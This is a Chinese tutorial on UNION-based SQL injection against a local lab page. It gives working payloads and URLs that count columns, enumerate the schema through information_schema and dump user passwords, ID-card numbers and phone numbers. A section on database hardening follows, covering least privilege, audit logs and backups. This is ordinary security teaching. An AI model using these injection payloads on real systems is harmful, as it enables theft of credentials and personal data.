前情回顾
Union 查询（SQL 注⼊核心）
用于合并两个或多个 SELECT 语句的结果集，同时去除重复的记录。每个 SELECT 语句必须拥有相同数量的列，列的数据类型也必须兼容。
一、联合查询（UNION SELECT）实战
目标：获取全部用户的信息和密码
靶场原始页面显示信息
http://127.0.0.1/mysqltest/unionselect.php
1. 用 order by 判断字段数
- 利用 SQL 的 ORDER BY N 语法。若N是有效列号，页面正常显示；若N无效，则数据库会返回报错信息。
- 从1开始递增尝试(1,2,3...)，直到页面出现报错，此时的数字即为字段数的临界点。
尝试到 order by 7 时报错，则说明该数据表共有6个字段。
SELECT * from users order by 7;
2. 用 union select 寻找回显位
- 构造查询条件（如id=-1）让原SQL语句返回空结果，为拼接数据做准备。
- 使用 UNION SELECT 拼接一串连续数字（如1,2,3...），数量需与字段数一致。
- 页面上显示出的数字即为“回显位”，也就是前端页面展示数据的窗口位置。
例如这里页面上返回的是 name 字段，而 name 是第二列，所以回显位是2。
http://127.0.0.1/mysqltest/unionselect.php?id=-1 union select 1,2,3,4,5,6
3. 信息收集-库、表、字段
查库名(Database)
SELECT * from users where id=-1 -- 找数据库名
UNION
select 1,(select DATABASE()),3,4,5,6
得到数据库名为 school
查表名(Table_Name)
select * from users where id=-1 -- 找表名，用GROUP_CONCAT(expr)来拼接字段
UNION
select 1,(select group_concat(table_name) from information_schema.`TABLES` where table_schema='school'),3,4,5,6
得到有两个表，users 和 classes，我们选择 users 进行注入
查字段名(Column_Name)
select * from users where id=-1 -- 找列名，依然用GROUP_CONCAT(expr)
UNION
select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='school' and table_name='users'
得到所有字段名
4. 获取隐藏的敏感数据
利用 CONCAT_WS 函数将ID、姓名、密码等多个字段合并为一个字符串，解决单回显位限制。
select * from users where id=-1
UNION
select 1,CONCAT_WS('·',id,name,password,id_card,phone),3,4,5,6 from users
得到所有信息
在 url 中注入
http://127.0.0.1/mysqltest/unionselect.php?id=-1 UNION select 1,CONCAT_WS('·',id,name,password,id_card,phone),3,4,5,6 from users
得到：
二、数据库安全加固策略
1. 最小权限原则
核心思想：权限“刚好够用”。
- 为应用程序分配仅能完成其工作所需的最小权限集，避免过度授权。
- 绝对禁止使用 root 等超级管理员权限账号运行应用程序，防止权限滥用与提权攻击。
创建独立用户：
CREATE USER 'appuser'@'localhost' IDENTIFIED BY '密码';
仅赋必要权限：
GRANT SELECT,INSERT,UPDATE ON school.* TO 'appuser';
2. 开启审计日志
开启通用日志
set global general_log=on;
查看日志位置
show variables like 'general_log_file';
安全审计与取证
记录所有 SQL 操作，用于行为追踪。即使遭遇攻击，也能通过日志分析黑客操作路径，是事后溯源的关键证据。
3. 数据备份
核心原则：3-2-1原则
- 3份备份：原始数据 + 本地备份 + 异地备份。
- 2种介质：硬盘 + 云盘（如本地硬盘+阿⾥云）。
- 1份离线：⾄少1份备份不联网（如移动硬盘离线存放）。
4. 如何进行备份和恢复？
数据备份(Backup)
可视化工具(Navicat)：右键数据库->转储SQL文件->结构和数据
命令行：
mysqldump-uroot-pschool>backup.sql
数据恢复(Restore)
可视化工具(Navicat)：运行SQL文件->选择备份文件
命令行：
mysql-uroot-pschool<backup.sql